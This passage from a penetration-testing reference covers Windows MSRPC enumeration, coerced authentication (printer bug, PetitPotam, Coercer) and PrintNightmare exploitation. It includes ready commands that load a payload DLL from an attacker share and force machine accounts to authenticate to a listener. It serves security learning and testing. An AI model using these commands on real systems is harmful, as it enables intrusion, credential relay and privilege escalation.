Additionally, the `RPC` service register one, or more, `RPC` `interfaces`. An interface corresponds to callable operations, that are offered by the `RPC` service to the `RPC` clients, and is composed of at least an identifier `UUID` and a version number. The list of interfaces offered by a `RPC` service is stored in the `RPC_IF_ID_VECTOR` structure which contain an array of pointers to `interface identifiers`, known as `IfId`.

`RPC` interfaces may also optionally specify the `well-known endpoint(s)` on which RPC services that export the interface will listen. Otherwise, `RPC` interfaces can be ultimately linked `dynamic endpoints` through a binding process that occurs at run time.

Whenever accessing a `RPC` service, RPC clients rely on the `RPC Endpoint Mapper` service to tell them which dynamic port, or ports, were assigned to the requested RPC service. The `RPC Endpoint Mapper` service, running on `RPC` servers as `NT AUTHORITY\NetworkService`, is accessible as an RPC service at the following `well-known endpoints`:

* `ncacn_ip_tcp:<IP | HOSTNAME>[135]` / `ncacn_ip_udp:<IP | HOSTNAME>[135]`
* `ncacn_np:<IP | HOSTNAME>[\pipe\epmapper]` (`TCP` ports 139 or 445)
* `ncacn_http:<IP | HOSTNAME>[593]`

**Notable Windows interfaces**

Some interface `UUID` have been reserved by Microsoft and can identify RPC interfaces associated to known Windows components. The unauthenticated enumeration of exposed RPC interfaces can thus be used to fingerprint a machine installed services.

| UUID                                                                                                                                                               | Interface                                                                                       | Description                                                                                                                                                                                                                                                                                                                   |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `E1AF8308-5D1F-11C9-91A4-08002B14A0FA`                                                                                                                             | `MS-RPC-EPM`                                                                                    | `RPC Endpoint Mapper (RpcEptMapper)` service interface.                                                                                                                                                                                                                                                                       |
| `12345778-1234-ABCD-EF00-0123456789AC`                                                                                                                             | `SAMR`                                                                                          | `Security Account Manager (SAM)` interface, that exposes the account database, both for local and remote domains. May be used to enumerate local and domain security principals (users and groups).                                                                                                                           |
| `12345778-1234-ABCD-EF00-0123456789AB`                                                                                                                             | `LSARPC`                                                                                        | The `Local Security Authority (LSA)` interface, used to manage various machine and domain security policies, such as the rights and privileges that security principals have on the machine as well as the trust relationships between domains and forests.                                                                   |
| `3919286A-B10C-11D0-9BA8-00C04FD92EF5`                                                                                                                             | `LSARPC-DS`                                                                                     | The `LSA` `Directory Services Setup (DS)` interface, that exposes domain-related computer state and basic domain configuration information                                                                                                                                                                                    |
| `12345678-1234-ABCD-EF00-0123456789AB`                                                                                                                             | `MS-RPRN`                                                                                       | The `Print System Remote Protocol` interface, which defines the communication of print job processing and print system management between a print client and a print server. Can be leveraged by any authenticated user to force the machine exposing the interface to connect, with its machine account, to a remote system. |
| <p><code>1FF70682-0A51-30E8-076D-740BE8CEE98B</code><br><code>378E52B0-C0A9-11CF-822D-00AA0051E40F</code><br><code>86D35949-83C9-4044-B424-DB363231FD0C</code></p> | `ATSVC`                                                                                         | The `Task Scheduler` interface, that exposes scheduled tasks related functions. May be used to list existing tasks, query a configured task status, and configure or register tasks.                                                                                                                                          |
| `367ABB81-9844-35F1-AD32-98F038001003`                                                                                                                             | `SVCCTL`                                                                                        | The `Service Control Manager (SCM)` interface, that enables remote configuration and control of Windows services.                                                                                                                                                                                                             |
| `4B324FC8-1670-01D3-1278-5A47BF6EE188`                                                                                                                             | `SRVSVC`                                                                                        | The `Server Service` interface, used for network shares related operations on the machine.                                                                                                                                                                                                                                    |
| `338CD001-2244-31F1-AAAA-900038001003`                                                                                                                             | `MSWINREG`                                                                                      | The `Windows Remote Registry` interface, used for remotely managing the Windows registry.                                                                                                                                                                                                                                     |
| <p><code>82273FDC-E32A-18C3-3F78-827929DC23EA</code><br><code>F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C</code></p>                                                      | <p><code>EventLog</code><br><code>EventLog version 6</code></p>                                 | The `EventLog` interface, exposes functions to interact with the Windows event logs, such as retrieving reading events and general information, such as number of records, oldest records, etc, for a specified log hive.                                                                                                     |
| `50ABC2A4-574D-40B3-9D66-EE4FD5FBA076`                                                                                                                             | `DNSSERVER`                                                                                     | The `Domain Name Service (DNS) Server Management` interface, exposed on Windows machines running DNS services, in order to allow remote access and administration capacities on the DNS component.                                                                                                                            |
| <p><code>2F59A331-BF7D-48CB-9E5C-7C090D76E8B8</code><br><code>5CA4A760-EBB1-11CF-8611-00A0245420ED</code></p>                                                      | <p><code>Terminal Server Service</code><br><code>Terminal Services remote management</code></p> | `Terminal Server Service` (`termsrv.exe`) related interfaces, indicating that the terminal services have been deployed on the machine.                                                                                                                                                                                        |
| `3F99B900-4D87-101B-99B7-AA0004007F07`                                                                                                                             | `MS-SQL-RPC`                                                                                    | `Microsoft SQL Server` related RPC interface.                                                                                                                                                                                                                                                                                 |
| `82AD4280-036B-11CF-972C-00AA006887B0`                                                                                                                             | <p><code>Inetinfo</code><br><code>MS-IIS-SMTP</code><br></p>                                    | The `Internet Information Services (IIS)` `Inetinfo` interface, used to remotely manage `IIS` servers.                                                                                                                                                                                                                        |
| <p><code>E3514235-4B06-11D1-AB04-00C04FC2DCD2</code><br><code>7C44D7D4-31D5-424C-BD5E-2B3E1F323D22</code></p>                                                      | <p><code>MS-DRSR</code> <code>DRSUAPI</code><br><code>MS-DRSR</code> <code>DSAOP</code></p>     | `Microsoft Active Directory Replication Service`, used for Active Directory information replication between domain controllers.                                                                                                                                                                                               |
| `1A190310-BB9C-11CD-90F8-00AA00466520`                                                                                                                             | `MS-EXCHANGE-DATABASE`                                                                          | The `Microsoft Exchange Database Service` interface, used for Exchange related operations.                                                                                                                                                                                                                                    |
| <p><code>D3FBB514-0E3B-11CB-8FAD-08002B1D29C3</code><br><code>D6D70EF0-0E3B-11CB-ACC3-08002B1D29C3</code><br><code>D6D70EF0-0E3B-11CB-ACC3-08002B1D29C4</code></p> | `RpcLocator`                                                                                    | The `RpcLocator` service interface. As the service is disabled by default on `Windows Server 2008` / `Windows Vista` machines, and later, the exposition of the `RpcLocator` interface may indicate that the machine is using an end-of-support Windows operating system.                                                     |

### Network scan and RPC services enumeration

On Microsoft Windows, `RPC` services are usually exposed on the default dynamic ports range:

* For `Windows Server 2008` / `Windows Vista`, and later: from ports `49152` through `65535`
* For `Windows 2000`, `Windows XP`, and `Windows Server 2003`: from ports `1025` through `5000`

Note that a `RPC` service may also be registered as a `dynamic endpoints` on a pre-defined port, among all available ports `1024-65355`.

`Nmap` can be used to scan the network for exposed `RPC Endpoint Mapper` RPC services:

```
nmap -v -p 135,593 -sV -oA nmap_RpcEptMapper <RANGE | CIDR>
```

Through the `RPC Endpoint Mapper` RPC service, the details about all the RPC services running on the host, both as `well-known endpoints` or `dynamic endpoints`, can be enumerated. The `Nmap`'s `msrpc-enum` NSE script, the Windows `rpctools`' `rpcdump.exe` utility and the `Impacket`'s `rpcdump.py` `Python` script can be used to do so:

```
rpcdump.py <IP | HOSTNAME>
rpcdump.py -p <RPC_EPTMAPPER_PORT> <IP | HOSTNAME>

rpcdump.exe <IP | HOSTNAME>
# RPC_PROTCOL_SEQUENCE: ncacn_ip_tcp, ncadg_ip_udp, ncacn_np, ncacn_nb_tcp, ncacn_http, etc.
rpcdump.exe -p <RPC_PROTCOL_SEQUENCE> <IP | HOSTNAME>

nmap -v -p 135 -sV --script=msrpc-enum <IP | HOSTNAME | RANGE | CIDR>
```

If the `RPC Endpoint Mapper` RPC service is not available, or to display interfaces information about `RPC` services that are not registered to the host `RPC Endpoint Mapper` RPC service, the `metasploit`'s `dcerpc/tcp_dcerpc_auditor` module and the `rpctools`' `ifids` can be used:

```
msf> use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor

# RPC_PROTCOL_SEQUENCE: ncacn_ip_tcp, ncadg_ip_udp, ncacn_np, ncacn_nb_tcp, ncacn_http, etc.
ifids <RPC_EPTMAPPER_PORT> -p <PORT> <IP | HOSTNAME>
```

### Enumeration from SAMR, LSARPC, LSARPC-DS, and NETLOGON RPC services

As previously mentioned, the `SAMR`, `LSARPC`, `LSARPC-DS`, and `NETLOGON` RPC services may be used to enumerate and manage local or domain users and groups, retrieve basic domain information and Active Directory trusts, as well as assign privilege(s) on the machine to specified user(s).

While access to these RPC services should normally require a valid set of credentials, misconfiguration may allow unauthenticated binding, known as `NULL` session. If a `NULL` session is possible on a domain controller, the enumeration of all the security principals in the domain, as well as the domain password policies, may be possible. As `NULL` session corresponds to a Windows `NT AUTHORITY\ANONYMOUS LOGON`, any privileged operation, such as user and group administration, should however be restricted.

Such `NULL` session may be established on Active Directory `Domain controllers`:

* if the `Anonymous` (`SID: S-1-5-7`) domain group is member of the `Pre-Windows 2000 Compatible Access` / `Accès compatible pré-Windows 2000` domain group.
* or if the `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\EveryoneIncludesAnonymous` registry key is set to `1` on the Domain Controllers. The key may notably set through the `Default Domain Controllers Policy` `GPO` (`UID: {6AC1786C-016F-11D2-945F-00C04fB984F9}`).

**Manual query**

On Linux, the `rpcclient` utility implements a number of commands to interact with the `SAMR`, `LSARPC`, `LSARPC-DS`, and `NETLOGON` RPC services interfaces.

```
# NULL session
rpcclient -U "" -N <IP | HOSTNAME>

# Authenticated session - with password
rpcclient -U "" <IP | HOSTNAME>

# Authenticated session - through Pass-the-Hash
rpcclient -U "" --pw-nt-hash <IP | HOSTNAME>
```

the `rpcclient` utility implements, among others, the following useful commands:

| Command                                              | RPC service                           | Description                                                                                                                                                                       |        |                                                                                                                                                               |
| ---------------------------------------------------- | ------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `querydominfo`                                       | `SAMR`                                | Query basic domain information, such as the domain name, number of users and groups. Return AD domain information on a DC, the machine local configuration information otherwise. |        |                                                                                                                                                               |
| `lsaquery`                                           | `LSARPC`                              | Return the domain name and domain SID for machine integrated in an Active Director forest.                                                                                        |        |                                                                                                                                                               |
| `enumdomusers`                                       | `SAMR`                                | Enumerate users. Returns the AD domain users on a DC, the machine local users otherwise.                                                                                          |        |                                                                                                                                                               |
| `querydispinfo`                                      | `SAMR`                                | Enumerate users and their description. Enumerates the AD domain users on a DC, the machine local users otherwise.                                                                 |        |                                                                                                                                                               |
| `enumdomgroups`                                      | `SAMR`                                | Enumerate groups. Returns the AD domain groups on a DC, the machine local groups otherwise.                                                                                       |        |                                                                                                                                                               |
| `samlookupnames domain <USERNAME \| USERNAMES_LIST>` | `SAMR`                                | Retries the RID of the domain, if the machine is a DC, or local user RID in HEX format (needed for `queryuser`).                                                                  |        |                                                                                                                                                               |
| <p><code>queryuser <500                              | RID></code><br><code>queryuser <0x1f4 | RID\_HEX></code></p>                                                                                                                                                              | `SAMR` | Query the specified user (using its RID or RID encoded in hexadecimal) info. Query information of domain users on a DC, of the machine local users otherwise. |
| `lookupnames <USERNAME>`                             | `LSARPC`                              | Retrieve the specified domain user SID for machines integrated to an Active Director forest.                                                                                      |        |                                                                                                                                                               |
| `querygroup <RID>`                                   | `SAMR`                                | Query the specified group (HEX RID) info. Query information of domain groups on a DC, of the machine local users otherwise.                                                       |        |                                                                                                                                                               |
| `queryusergroups <RID>`                              | `SAMR`                                | Query the specified user (HEX RID) groups. Query information of domain users on a DC, of the machine local users otherwise.                                                       |        |                                                                                                                                                               |
| `querygroupmem <RID>`                                | `SAMR`                                | Query the specified group (HEX RID) membership. Query information of domain groups on a DC, of the machine local users otherwise.                                                 |        |                                                                                                                                                               |
| `getdompwinfo`                                       | `SAMR`                                | Retrieve password policy information. Retrieve the domain password policy on a DC, the machine local otherwise.                                                                   |        |                                                                                                                                                               |
| `getusrdompwinfo <RID>`                              | `SAMR`                                | Retrieve the specified user password policy. Query information of domain users on a DC, of the machine local users otherwise.                                                     |        |                                                                                                                                                               |
| `createdomuser <USERNAME>`                           | `SAMR`                                | Create a domain, if the machine is a DC, or local user.                                                                                                                           |        |                                                                                                                                                               |
| `createdomgroup <GROUPNAME>`                         | `SAMR`                                | Create a domain, if the machine is a DC, or local group.                                                                                                                          |        |                                                                                                                                                               |
| `deletedomuser <USERNAME>`                           | `SAMR`                                | Delete a domain, if the machine is a DC, or local, user.                                                                                                                          |        |                                                                                                                                                               |
| `deletedomgroup <GROUPNAME>`                         | `SAMR`                                | Delete a domain, if the machine is a DC, or local group.                                                                                                                          |        |                                                                                                                                                               |
| `chgpasswd <USERNAME> <OLD_PASS> <NEW_PASS>`         | `SAMR`                                | Change the specified domain, if the machine is a DC, or local user password.                                                                                                      |        |                                                                                                                                                               |
| `dsroledominfo`                                      | `LSARPC-DS`                           | Require `Directory Service` to be running on the machine. Can be used to determine if the remote machine is a DC.                                                                 |        |                                                                                                                                                               |
| `dsenumdomtrusts`                                    | `NETLOGON`                            | Enumerate the trusted domains of the domain the machine is integrated to.                                                                                                         |        |                                                                                                                                                               |
| `lookupdomain <DOMAIN \| HOSTNAME>`                  | `SAMR`                                | Retrieve the domain or machine SID.                                                                                                                                               |        |                                                                                                                                                               |
| `enumprivs`                                          | `LSARPC`                              | Enumerate the privileges of the authenticated user on the machine.                                                                                                                |        |                                                                                                                                                               |
| `lsaenumacctrights <SID>`                            | `LSARPC`                              | Enumerate the privileges of a, domain or local, security principal on the machine.                                                                                                |        |                                                                                                                                                               |
| `lsaaddacctrights <SID> <RIGHT \| RIGHTS_LIST>`      | `LSARPC`                              | Assign a privilege to a, domain or local, security principal on the machine.                                                                                                      |        |                                                                                                                                                               |
| `lsaremoveacctrights <SID> <RIGHT \| RIGHTS_LIST>`   | `LSARPC`                              | Remove a privilege to a, domain or local, security principal on the machine.                                                                                                      |        |                                                                                                                                                               |

**Automated enumeration**

For a more automated approach, the `rpctools`' `walksam.exe` Windows utility and the `impacket`'s `samrdump.py` Python script can be used to dump information about each user found in the SAM database, which will contain domain accounts information on a domain controller, local accounts information otherwise.

Additionally, the (outdated) `enum4linux` Perl and (maintained) `enum4linux-ng.py` Python scripts can be used to automatically enumerate through `MSRPC` calls and `NetBIOS` and `LDAP` queries (for Domain Controllers). `enum4linux-ng.py` will notably attempt to enumerate users, groups, group's memberships, password policy information, shares, and, against Domain Controllers, naming context information.

```
# -A: all simple enumeration including nmblookup (-U -G -S -P -O -N -I -L).
# -R: users enumeration via RID cycling through MSRPC calls.
enum4linux-ng.py -A -R <HOSTNAME | IP>
enum4linux-ng.py -u "<USERNAME>" -pw "<PASSWORD>" -A -R <HOSTNAME | IP>

# walksam.exe uses the current security context by default, and does provide a mechanism to specify an user

# To emulate a NULL session
runas /NetOnly /user:"DO_NOT_MATTER" cmd.exe
# To execute walksam.exe as the specified user
runas /NetOnly /user:"<WORKGROUP | DOMAIN>\<USERNAME>" cmd.exe

walksam.exe <IP | HOSTNAME>

python samrdump.py <IP | HOSTNAME>
python samrdump.py [<DOMAIN>/]<USERNAME>:<PASSWORD>@<IP | HOSTNAME>
```

### Print Spooler service

**Print Spooler enumeration**

`PingCastle`'s `spooler` module, `Impacket`'s `rpcdump` Python script, and the `Get-SpoolStatus.ps1` PowerShell script can be used to enumerate the servers exposing the `MS-RPRN` `MSRPC` interface:

```
# Locally determine / query the Spooler service status.
gci \\127.0.0.1\pipe\spoolss
sc query Spooler
sc qc Spooler

# Remotely determine / query the Spooler service status.
gci \\<HOSTNAME | IP>\pipe\spoolss

Get-SpoolStatus -ComputerName <IP | HOSTNAME>

rpcdump.py '<DOMAIN>/<USERNAME>:<PASSWORD>@<IP | HOSTNAME> | grep -i "MS-RPRN"

# Automates the enumeration of the computers in the domain and conducts the check on all the enumerated computers.
# Refer to the Active Directory - Automatic scanners note for more information on how to use PingCastle.
PingCastle.exe --scanner spooler
# Enumerates and scan only the Domain Controllers.
# The Domain Controllers of another forest can be scanned using the "--server" option.
PingCastle.exe --scanner spooler --scmode-dc
PingCastle.exe --scanner spooler --scmode-dc --server <TARGET_FOREST_DC_FQDN>
```

**MS-RPRN "printer bug"**

The `RpcRemoteFindFirstPrinterChangeNotification(Ex)` function of the `Print System Remote Protocol`, exposed on the `MS-RPRN` `MSRPC` interface, can be called by any domain user, member of `Authenticated Users`, to force the machine running the `Print Spooler` service to authenticate, through `NTLM` or `Kerberos`, to the specified remote system. The authentication is conducted by the machine using its machine account.

The authentication received on a controlled system can be captured and exploited in a number of ways:

* If the controlled service account (user or computer account) receiving the authentication is domain-joined and trusted for `Kerberos` `unconstrained delegation`, the `Kerberos` `service ticket`, received from the targeted machine as part of a `Kerberos` authentication, will contain a copy of the machine `Ticket-Granting Ticket (TGT)`. This `TGT` can be extracted from the `LSASS` process of the controlled machine, and further used to authenticate to any domain resources as the targeted machine account. This can notably be leveraged to jump `External` and `CrossForest` trusts allowing `TGT` delegation and with `SID Filtering` enabled. For more information on the attack, refer to the `[ActiveDirectory] Kerberos delegation` and `[ActiveDirectory] Trusts hopping` notes.
* If the machine account of the machine exposing the `SpoolerService` is member of the local `Administrators` group of remote systems, the captured `NTLM` authentication can be relayed to these systems. For more information, refer to the `[ActiveDirectory] NTLM relaying` note. As a machine account password is robust, 120 `UTF16` characters, and regularly rotated, 30 days by default, the `Net-NTLM` hash cannot directly be cracked offline.
* If the machine exposing the `SpoolerService` has its `LMCompatibilityLevel` attribute set to 2 or lower (which is usually the case for environment with `Windows XP` / `Windows server 2003` operating systems), the authentication can be downgraded to use the `NetNTLMv1` protocol. `NetNTLMv1` hashes can be cracked in order to retrieve the machine account `NTLM` hash, with the possibility of cracking `NetNTLMv1` hashes obtained with the challenge `1122334455667788` through a comprehensive `rainbow table` usable for free on `crack.sh`. The machine account `NTLM` hash can then be used to generate a `silver ticket` for the `HOST` service of the machine allowing for remote code execution. Refer to the `ActiveDirectory - NTLM capture and relay` and `ActiveDirectory - Kerberos Silver Tickets` notes for more information on the attack.

The `printerbug.py` Python script, of the `krbrelayx` toolkit, can be used to call the `SpoolerService` `MSRPC` functions and trigger the authentication callback.

```
# In order to trigger a Kerberos authentication, the listening host <LHOST_HOSTNAME> should be associated to a Service Principal Names (SPN) in the domain and a valid DNS record
# For more information, refer to the `[ActiveDirectory] Kerberos unconstrained delegation` note

SpoolSample.exe <TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>

printerbug.py [<DOMAIN>/]<USERNAME>[:<PASSWORD>]@<TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>
printerbug.py -hashes <LMHASH:NTHASH> [<DOMAIN>/]<USERNAME>@<TARGET_IP | TARGET_HOSTNAME> <LHOST_HOSTNAME>
```

**PrintNightmare (CVE-2021-1675)**

On unpatched systems with the `Print Spooler` service running and exposed, the `PrintNightmare` vulnerability (`CVE-2021-1675`) can be leveraged for remote code execution. The `PrintNightmare` vulnerability basically result in the execution of an arbitrary `DLL` under `NT AUTHORITY\SYSTEM` privileges on the remote system.

As of July 2021, [a number of parameters](https://twitter.com/StanHacked/status/1410922404252168196) determine if the targeted system is vulnerable to the `PrintNightmare` vulnerability:

* Mandatory exposure of the `Print Spooler` service.
* Application of the related security patches.
* Even if the remote system is patched, it may still be vulnerable if either:
  * The targeted system is a Domain Controller and the domain principal used to make the `RPC` calls is a member of the `Pre-Win 2000 compatibility` group.
  * the `HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` registry key is set to `0x1` on the remote system.
  * the `UAC` mechanism is turned off on the remote system (`EnableLUA` set to `0x0`).

The [`ItWasAllADream`](https://github.com/byt3bl33d3r/ItWasAllADream) Python script ([`OffensivePythonPipeline`'s standalone binary](https://github.com/Qazeer/OffensivePythonPipeline)) can be used to scan the network for systems vulnerable to the `PrintNightmare` vulnerability:

```
itwasalladream -d <WORKGROUP | DOMAIN> -u <USERNAME> [-p <PASSWORD>] <IP/32 | SUBNET_CIDR>
```

The vulnerability lies in the fact that unprivileged users may call the `MS-RPRN`'s `RpcAddPrinterDriverEx` function, normally used to install a printer driver on the system. This result in the execution of the provided arbitrary `DLL` (as the [`printer driver`](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/39bbfc30-8768-4cd4-9930-434857e2c2a2)) by the `Print Spooler` service under `NT AUTHORITY\SYSTEM` privileges.

The following struct corresponds to a `printer driver` as passed as parameter to the `RpcAddPrinterDriverEx` function:

```
typedef struct _DRIVER_INFO_2 {
   DWORD cVersion;
   [string] wchar_t* pName;
   [string] wchar_t* pEnvironment;
   [string] wchar_t* pDriverPath; # Path to the driver file.
   [string] wchar_t* pDataFile;   # Path to the driver data file.
   [string] wchar_t* pConfigFile; # Path to the driver config configuration file.
 } DRIVER_INFO_2;
```

While restriction exist on the `pDriverPath` and `pDataFile` attributes, to verify that the specified paths are not `UNC` paths (network resources), the `pConfigFile` attribute is exempted from such verification. A first call to the `RpcAddPrinterDriverEx` function with the payload `DLL` (hosted on a network share) passed as `pConfigFile` will result in the `DLL` file being copied on the remote system (in the `%SYSTEMROOT%\system32\spool\drivers\x64\3\` folder). A subsequent call to the `RpcAddPrinterDriverEx` function with the payload `DLL` passed, in its copied path, as the `pDriverPath` will result in execution of the `DLL` by the `Print Spooler` service.

The [`nightmare-dll DLL`](https://github.com/calebstewart/CVE-2021-1675/tree/main/nightmare-dll) creates a local user (using the `Win32`'s `NetUserAdd` API) and add it to the local `Administrators` group (using the `Win32`'s `NetLocalGroupAddMembers` API). It may be used as a `DLL` template for `PrintNightmare` exploitation. Alternatively, a payload `DLL` may be generated using, for example, `msfvenom`.

The [`CVE-2021-1675.py` Python script](https://github.com/cube0x0/CVE-2021-1675) ([`OffensivePythonPipeline`'s standalone binary](https://github.com/Qazeer/OffensivePythonPipeline)) or the [`SharpPrintNightmare` `C#` implementation](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare) can be used to exploit the `PrintNightmare` vulnerability:

Note that a network share allowing anonymous access and hosting the payload `DLL` must first be configured. Refer to the `[General] File Transfer` note (`SAMBA shares` or `SMB shares` sections) for a procedure on how to create such share.

```
CVE-2021-1675.py <DOMAIN | WORKGROUP>/<USERNAME>:<PASSWORD>@<TARGET_HOSTNAME | TARGET_IP> '\\<IP>\<SHARE_NAME>>\<DLL>'

# Uses the current security context to authenticate to the remote system.
SharpPrintNightmare.exe '\\<IP>\<SHARE_NAME>>\<DLL>' '\\<TARGET_HOSTNAME | TARGET_IP>'

# Uses the specified credentials for authentication.
SharpPrintNightmare.exe '\\<IP>\<SHARE_NAME>>\<DLL>' '\\<TARGET_HOSTNAME | TARGET_IP>' <DOMAIN | WORKGROUP> <USERNAME> <PASSWORD>
```

### MS-EFSRPC (Encrypting File System Remote (EFSRPC) Protocol - PetitPotam

Similarly to functions exposed by the `MS-RPRN` `MSRPC` interface, a number of functions of the `MS-EFSRPC` `MSRPC` interface can be abused to coerce hosts to authenticate to an arbitrary (and possibly controlled) machine. The binding to the `MS-EFSRPC` `MSRPC` interface can be done over the `EFSRPC` named pipe (`\PIPE\efsrpc`) as well as a number of other named pipes (`LSARPC` / `\PIPE\lsarpc`, `MS-NRPC` / `\PIPE\netlogon`, `MS-SAMR` / `\PIPE\samr`, and `\PIPE\lsass`). The binding and calling of `MS-EFSRPC` functions can be done with out authentication against unpatched Domain Controllers.

The coerced authentication will be done by the machine account of the targeted machine, and thus the exploit primitives detailed in the `MS-RPRN "printer bug"` section above apply. For more information on relaying `NTLM` authentication, refer to the `[ActiveDirectory] NTLM capture and relay` note.

The following functions are implemented in the [`PetitPotam`](https://github.com/topotam/PetitPotam) exploit to coerce authentications:

* `EfsRpcOpenFileRaw` (patch to prevent coerced authentication available)
* `EfsRpcEncryptFileSrv`
* `EfsRpcDecryptFileSrv`
* `EfsRpcQueryUsersOnFile`
* `EfsRpcQueryRecoveryAgents`
* `EfsRpcRemoveUsersFromFile`
* `EfsRpcAddUsersToFile`
* `EfsRpcFileKeyInfo`
* `EfsRpcDuplicateEncryptionInfoFile`
* `EfsRpcAddUsersToFileEx`
* `EfsRpcFileKeyInfoEx`
* `EfsRpcGetEncryptedFileMetadata`
* `EfsRpcSetEncryptedFileMetadata`
* `EfsRpcEncryptFileExSrv`

```bash
# Attempt with out authentication.
PetitPotam.py <LISTENING_HOST> <TARGETED_HOST>

# Authenticated attempt, using username:password, username:NTHash, or Kerberos authentication.
PetitPotam.py -d '<DOMAIN>' -u '<USERNAME>' [-p '<PASSWORD>' | -hashes '<[LMHASH]:NTHASH>'] <LISTENING_HOST> <TARGETED_HOST>
PetitPotam.py -d '<DOMAIN>' -u '<USERNAME>' -k -no-pass <LISTENING_HOST> <TARGETED_HOST>

# Specify the named pipe to use for binding. Defaults to lsarpc.
PetitPotam.py -pipe <efsr | lsarpc | samr | netlogon | lsass> -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' <LISTENING_HOST> <TARGETED_HOST>
```

### Automated coercing using various techniques with Coercer

The [`Coercer`](https://github.com/p0dalirius/Coercer) Python utility can be used to coerce `SMB` authentication using a number of functions on different `RPC` interfaces:

* `MS-RPRN` "printer bug"
* `MS-EFSR` PetitPotam
* `MS-FSRVP` ShadowCoerce
* `MS-DFSNM` DFSCoerce

```
coercer.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' -l <LISTENER_IP | LISTENER_HOSTNAME> [-t <TARGET_IP | TARGET_HOSTNAME> | -f <TARGETS_FILE>]
```

***

### References

<https://pubs.opengroup.org/onlinepubs/9629399/chap2.htm>

Network Security Assessment: Know Your Network

<https://publications.opengroup.org/c706>

<https://book.hacktricks.xyz/pentesting/135-penstesting-wrpc>

<https://actes.sstic.org/SSTIC06/Dissection\\_RPC\\_Windows/SSTIC06-article-Pouvesle-Dissection\\_RPC\\_Windows.pdf>

<http://etutorials.org/Networking/network+security+assessment/Chapter+9.+Assessing+Windows+Networking+Services/9.2+Microsoft+RPC+Services/>

<https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-dtyp/cca27429-5689-4a16-b2b4-9325d93e4ba2>

<https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15>

<https://tools.ietf.org/html/rfc1831>

<https://redmondmag.com/articles/2004/02/01/the-magic-of-rpc-over-http.aspx>

<https://www.windows-security.org/windows-service/rpc-endpoint-mapper>

<https://support.microsoft.com/en-us/help/832017/service-overview-and-network-port-requirements-for-windows>

<https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-samr/96952411-1d17-4fe4-879c-d5b48a264314>

<https://kb.juniper.net/InfoCenter/index?page=content\\&id=KB12057\\&pmv=print\\&actp=\\&searchid=\\&type=currentpaging>

<https://www.harmj0y.net/blog/redteaming/not-a-security-boundary-breaking-forest-trusts/>

<https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/>

<https://beta.hackndo.com/constrained-unconstrained-delegation/>

<https://docs.microsoft.com/en-us/windows/win32/adschema/a-useraccountcontrol?redirectedfrom=MSDN>

<https://github.com/afwu/PrintNightmare>

<https://github.com/cube0x0/CVE-2021-1675>

<https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-rprn/39bbfc30-8768-4cd4-9930-434857e2c2a2>

<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>

<https://vk9-sec.com/printnightmare-cve-2021-1675-remote-code-execution-in-windows-spooler-service/>


# 137-139 - NetBIOS

### Overview

`Network Basic Input/Output System (NetBIOS)` is a Windows API providing services related to the session layer (layer 5) of the OSI model, mostly for systems on the same link-local subnetwork. `NetBIOS` runs over `TCP/IP` via the `NetBIOS over TCP/IP (NBT)` protocol.

`NetBIOS` provides notably a name registration and resolution service: the `NetBIOS Name Service (NBNS)`, which operates on `UDP` port 137 (and may operate on `TCP` 137). `NetBIOS` names are 16 ASCII characters in length (with out "\ / : \* ? " < > |"), with the 16th character reserved for the resource `NetBIOS Suffix`. The `NetBIOS-NS` protocol is used, along (and before) the `Link-Local Multicast Name Resolution (LLMNR)` protocol, by Windows systems to perform name resolution operation if the `Domain Name System (DNS)` resolution fails. The name resolution is made through a `NBNS` `Name query NB` broadcast request on the link-local broadcast address and can thus only be used to resolve `NetBIOS` names for hosts on the same subnetwork.

A `NetBIOS` name table stores the `NetBIOS` records registered on the Windows system. A record consists of a `NetBIOS` name, a status, and can be of two type: `Unique` or `Group`. `Unique` record are unique among all systems on the link-local subnetwork and a verification is made by the system registering the `NetBIOS` name with the `Windows Internet Name Service (WINS)` server or through a broadcast `Registration NB` request to ensure that the newly registered name would effectively be unique. For example, such request is made by a Windows system at boot time to register the system `NetBIOS` hostname in the local-link subnetwork. On the contrary, `Group` records may take for value a `NetBIOS` name shared by others systems.

The 16th character of a record `NetBIOS` name is reserved and corresponds to the `NetBIOS Suffix`, which indicates the service type associated with the `NetBIOS` record.

| Type     | Suffix | Value                              | Description                                                                                                                                                                                                                                                                                                                                          |
| -------- | ------ | ---------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `UNIQUE` | `00`   | `NetBIOS` system hostname          | Registered by the Windows `Workstation` service. Yields for value the system registered `NetBIOS` hostname.                                                                                                                                                                                                                                          |
| `UNIQUE` | `20`   | `NetBIOS` system hostname          | Registered by the Windows `Server` service. The `Server` service supports the sharing of shares and named-pipe over the network.                                                                                                                                                                                                                     |
| `UNIQUE` | `1B`   | `NetBIOS` domain name              | `Domain Master Browser`, part of the `Browser Service`, replaced by Windows Active Directory since `Windows XP` and only provided for backward compatibility reasons. Registered on the `Primary Domain Controller` Emulator of the Active Directory domain (only one server acts as the `Domain Master Browser` across an Active Directory domain). |
